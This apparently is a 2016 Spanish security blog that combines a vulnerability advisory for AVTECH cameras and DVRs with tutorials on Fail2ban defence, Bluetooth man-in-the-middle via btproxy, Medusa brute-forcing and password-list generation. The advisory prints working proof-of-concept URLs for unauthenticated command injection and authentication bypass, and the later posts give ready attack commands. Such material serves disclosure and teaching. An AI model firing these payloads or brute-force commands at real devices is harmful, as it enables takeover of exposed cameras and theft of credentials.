martes, 11 de octubre de 2016

Multiples vulnerabilidades en camaras IP , NVR, DVR marca AVTECH

Producto afectado:

Plataforma y Firmware en cualquier dispositivo camaras IP , NVR, DVR marca AVTECH

Avtech es el segundo término de búsqueda mas popular en Shodan. De acuerdo con Shodan, mas de 130,000 dispositivos AVTECH estan expuestos a internet.

Listado de Vulnerabilidades

1) Plaintext storage of administrative password 2) Missing CSRF protection 3) Unauthenticated information disclosure
POC:
GET /cgi-bin/nobody/Machine.cgi?action=get_capability
4) Unauthenticated SSRF in DVR devices
POC: http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw== 

 5) Unauthenticated command injection in DVR devices 
POC: http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin 

 6) Authentication bypass #1 
POC: http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
 
 7) Authentication bypass #2 
POC: http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.* 

 8) Unauthenticated file download from web root 
POC:
http://<device_ip>/cgi-bin/cgibox?.cab  

9) Login captcha bypass #1 
POC: http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick 

10) Login captcha bypass #2 
11) Authenticated command injection in CloudSetup.cgi
POC: 
http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps 

12) Authenticated command injection in adcommand.cgi 
POC: POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1 Host: <device_ip> Content-Length: 23 Cookie: SSID=YWRtaW46YWRtaW4= DoShellCmd "strCmd=ps&" 

 13) Authenticated command injection in PwdGrp.cgi POC: http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN 

14) HTTPS used without certificate verification





Video







fuente:http://www.search-lab.hu/

lunes, 10 de octubre de 2016

Proteger de ataques de fuerza bruta servicios expuestos [Fail2ban]

Para saber defenderse hay que saber atacar, es por eso que en entradas anteriores hemos tratado de explicar las formas de realizar ataques de fuerza bruta con herramientas que nos ayudan a automatizar este tipo de ataque.

Ahora trataremos de defendernos de esos ataques utilizando una herramienta escrita en Python: Fail2ban.

¿Como funciona Fail2ban?

  1. Escanea los log o registros de los servicios que le indiquemos en la configuración (Eje.: //var/log/pwdfail pwdfail).
  2. Luego banea la dirección ip desde donde se han realizado demasiados intentos de logueo.
  3. Actualiza las reglas en el firewall para rechazar la ip del atacante. Estas reglas pueden ser definidas por el usuario.

Instalación

apt-get install fail2ban

Configuración

Tenemos que localizar el archivo de configuración y adaptarlo a nuestras necesidades, con unos pequeños retoques estaremos listos.

El archivo en cuestión es: /etc/fail2ban.conf

Ahora lo editamos con nuestro editor favorito y vamos recorriendo las lineas que tiene y cambiaremos las que más nos interesan:

Para este tutorial utilicé: Fail2Ban v0.5.1 , en otras versiones algunos de estos parametros los puedne encontrar en el archivo jail.conf

¿Dónde van a estar los logs?

logtargets = /var/log/fail2ban.log

¿Cuántos intentos vamos a dejar antes de banear la ip?

Por defecto viene en 3

# Option: maxretry.
# Notes.: number of retrys before IP gets banned..
# Values: NUM Default: 3.
#.
maxretry = 3

¿Cuánto tiempo vamos a banear a la ip que intenta atacarnos?

Por defecto vienen 600 segundos, que son 10 minutos, por ejemplo 36000  son 10 horas.

# Option: bantime.
# Notes.: number of seconds an IP will be banned..
# Values: NUM Default: 600.
#.
bantime = 36000


Con estas opciones podemos decirle a nuestro sistema de que nos informe cuando fail2ban es iniciado.

# Option: cmdstart.
# Notes.: command executed once at the start of Fail2Ban.
# Values: CMD Default:.
#.
cmdstart = echo "Se ha iniciado fail2ban" | mail -s "Fail2ban" midoreccionATtuservidor.com

Que se a detenido:

cmdend =echo "Se ha detenido fail2ban" | mail -s "Fail2ban" midoreccionATtuservidor.com


Queremos que nos avise al correo cuando se banea alguna ip, así que activamos esta opción.

[MAIL]

# Option: enabled.
# Notes.: enable mail notification when banning an IP address..
# Values: [true | false] Default: false.
#.
enabled = true

Ahora tenemos que meter los datos de nuestro servidor de correo

# Option: host.
# Notes.: host running the mail server..
# Values: STR Default: localhost.
#.
host = email.tuservidor.com

# Option: port.
# Notes.: port of the mail server..
# Values: INT Default: 25.
#.
port = 25

Ahora rellenamos dos campos muy sencillos, que serán, el remitente del correo y a quién debe enviarlo, este es mi caso:

# Option: from.
# Notes.: e-mail address of the sender..
# Values: MAIL Default: fail2ban.
#.
from = fail2ban

# Option: to.
# Notes.: e-mail addresses of the receiver. Addresses are space.
# separated..
# Values: MAIL Default: root.
#.
to = securityATtuservidor.com

El asunto del correo lo definimos en:

# Option: subject.
# Notes.: subject of the e-mail..
# Tags: <ip> IP address.
# <failures> number of failures.
# <failtime> unix timestamp of the last failure.
# Values: TEXT Default: [Fail2Ban] Banned <ip>.
#.
subject = [Fail2Ban] Se ha baneado a <ip>..

Y ahora el cuerpo del correo que nos será enviado:

# Option: message.
# Notes.: message of the e-mail..
# Tags: <ip> IP address.
# <failures> number of failures.
# <failtime> unix timestamp of the last failure
# <br> new line.
# Values: TEXT Default: .
#.
message = La ip <ip> ha sido baneada por Fail2Ban despues de <failures> intentos fallidos...

Ahora nos metemos ya en la configuración de los servicios por los que fail2ban velará en nuestro sistema

Comenzaremos con SSH

[SSH]

# Option: enabled
# Notes.: enable monitoring for this section.
# Values: [true | false] Default: true
#
enabled = true

Ahora debemos indicarle, al igual que hicimos con Apache, donde ha de recoger los datos en los que basarse para banear ips, en mi caso, los logs del sshd están en /var/log/secure

# Option: logfile
# Notes.: logfile to monitor.
# Values: FILE Default: /var/log/secure
#
logfile = /var/log/secure


Pasamos directamente a las ordenes que se le pasaran a iptables tanto para banerar como para desbanear ips, las podemos dejar por defecto.

# Option: fwbanrule
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: <ip> IP address
# <failures> number of failures
# <failtime> unix timestamp of the last failure
# <bantime> unix timestamp of the ban time
# Values: CMD
# Default: iptables -I INPUT 1 -i eth0 -s <ip> -j DROP
#
fwban = iptables -I INPUT -s <ip> -j DROP

# Option: fwunbanrule
# Notes.: command executed when unbanning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: <ip> IP address
# <bantime> unix timestamp of the ban time
# <unbantime> unix timestamp of the unban time
# Values: CMD
# Default: iptables -D INPUT -i eth0 -s <ip> -j DROP
#
fwunban = iptables -D INPUT -s <ip> -j DROP

Y ya, solo tenemos que fijarnos en las palabras clave que ha de buscar fail2ban en los logs para determinar cuando sí y cuando no se está intentando el login
# Option: failregex
# Notes.: regex to match the password failures messages in the logfile.
# Values: TEXT Default: Authentication failure|Failed password|Invalid user
#
failregex = Authentication failure|Failed password|Invalid user

Con esto ya estamos protegiendo el servicio SSH de ataques de fuerza bruta.

Iniciamos fail2ban como root y esperamos los resultados, los que podemos revisar en los logs de fail2ban.


viernes, 7 de octubre de 2016

MiTM en dispositivos Bluetooth con Btproxy [Hacking]



El ataque de "Hombre en el medio" o sus siglas en ingles MiTM es muy comun en dispositivos de red.
En esta entrada pretendemos explicar como se realiza este ataque en dispositivos Bluetooth, interceptando el trafico entre nuestra terminal y uno de estos dispositivos utilizando un telefono celular como intermediario.


A sido probado en los siguientes dispositivos:

  • OBDLink OBD-II Bluetooth Dongle
  • Algunos Smart Baby Monitor
  • Moto 360 smart watch
  • Beacons

Requerimientos
  • Al menos una tarjeta de Bluetooth, externa o interna.
  • S.O Linux o OS X
  • BlueZ 4
  • Un celular con Blueetooth

Instalamos BlueZ 4 y otras librerías

sudo apt install bluez bluez-utils bluez-tools libbluetooth-dev python-dev

Instalamos btproxy

git clone https://github.com/conorpp/btproxy
cd btproxy
sudo python setup.py install


Necesitamos que cada dispositivo este en modo visible 

Manos a la obra

En primer lugar debemos identificar las direcciones MAC de el dispositivo master que será nuestro telefono y el slave que sera el objetivo, esto lo hacemos así:

hcitool scan

Ejecutamos un el proxy para llevar acabo el MiTM entre los dos dispositivos:

btproxy <master-bt-mac-address> <slave-bt-mac-address>

Esto creara un dispositivo bluetooth virtual cuyo nombre finalizará con _btproxy en el dispositivo master nos conectamos a el, esto nos abre el socket de comunicación, para poder visualizar los paquetes.

Uso avanzado

Podemos modificar los paquetes en tiempo real pasando como parametro un script en python al btproxy:

reemplazar.py

def master_cb(req):

    req = req.replace(b'texto original', b'texto reemplazado')
    req = req.replace(b' otro texto original', b'otro texto reemplazado')


    print( '<< ', repr(req))
    return req

def slave_cb(res):
    print('>> ', repr(res))
    return res

Y esto lo ejecutamos así:

sudo btproxy 11:22:33:44:55:66 77:88:99:AA:BB:CC -s reemplazar.py

En conclusión

No es ideal para un ataque real, ya que necesitamos manipular los dispositivos y conectarnos al proxy nuevamente, a menos que forzemos el "unpair" de los dispositivos y esperar a que se conecten nuevamente pero en el proxy, esto podria hacerse teoricamente con un  Ubertooth pero es algo que no e comprobado aún.


jueves, 6 de octubre de 2016

Realizando ataques de fuerza bruta con Medusa [Hacking]

En la entrada anterior hablamos de como generar diccionarios de passwords para utilizarlo en un ataque de fuerza bruta.

En esta ocación trataremos de mostrarles como realizar este ataque utilizando Medusa.

Medusa nos permite atacar por diccionario de forma rápida, masiva y paralela  los siguientes servicios:

  • AFP
  • CVS
  • FTP
  • HTTP
  • IMAP
  • MS-SQL
  • MySQL
  • NetWare NCP
  • NNTP
  • PcAnywhere
  • POP3
  • PostgreSQL
  • REXEC
  • RLOGIN
  • RSH
  • SMBNT
  • SMTP-AUTH
  • SMTP-VRFY
  • SNMP
  • SSHv2
  • Subversion (SVN)
  • Telnet
  • VMware autenticación Daemon (vmauthd)
  • VNC
  • Genérico Wrapper
  • Web Form
Es decir que con esta herramienta podemos realizar ataques en paralelo a diversos hosts, enviando como parametro -H file , donde file contiene las direcciones ip de los objetivos a atacar linea por linea.

Utilizamos el siguiente comando para verificar los modulos que hay disponibles para realizar ataques:

medusa -d

Los parámetros mas importantes son:

  • -h -> el host víctima
  • -H -> si tenemos un archivo txt con una lista de hosts
  • -u  -> el usuario al cual deseamos hacerle el cracking
  • -U ->  un archivo txt con la lista de posibles usuarios (muy útil si no sabemos que usuarios existen en el sistema)
  • -P ->  Ubicación del diccionario
  • -O  -> Crea un archivo log
  • – e  ns -> Verifica el password vacio o que ambos datos sean lo mismo
  • -M  -> El modulo que deseamos emplear (sin la extension .mod)
  • -n -> por si el servicio esta corriendo en otro puerto diferente al default
  • -s -> Habilita ssl
  • -f -> detiene el ataque en el instante de encontrar un password valido
  • -b -> suprime los banners
  • -v  -> modo verbose (mas informacion level de 0 a 6 siendo el 6 mas alto)

Ejemplo de uso:

medusa -h 127.0.0.1 -u root -P /diccionario.txt -M mysql -L -f -b -v 6

Recordemos que un ataque de esta naturaleza  hace demasiado “RUIDO”, y que podría ser frenado fácilmente por Fail2Ban por ejemplo.

Generando diccionarios de passwords para ataques de fuerza bruta [Hacking]

Podriamos descargadar diccionarios de diversos sitios en internet, pero no hay mejor diccionario que el que vayamos alimentando nosotros mismos.

Pero en el caso que quisieramos probar algo aleatorio y generarlo automaticamente podriamos utilizar apg.

Instalamos:

apt install apg

Uso básico:

apg -m 5 -x 10 -n 50000 >> file.txt

Explicación:
  • -m: Número mínimos de caracteres para los password generados
  • -x: Número maximo de caracteres para los password generados
  • -n: Número de password a generar
  • file.txt: nombre del archivo donde se guardaran los password.
El algortimo que utiliza por defecto es NTIS (National Technical Information Service) creado por el ingeniero Morrie Gasser.
Tambien se puede utilizar otro algoritmo que es el que genera caracteres de forma aleatoria.

El cambio de algortimos es posible gracias al parametro -a 0 ó 1

APG tiene la habilidad de verificar la calidad de los passwords generados usando un diccionario con palabras ya existentes (una por cada línea), es decir que puede generar palabras basadas en un diccionario nuestro ya existente y darnos una variedad del mismo. Esto lo hacemos utilizando el parametro -r diccionario.txt.

VER:  Realizando ataques de fuerza bruta con Medusa



 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Best Web Host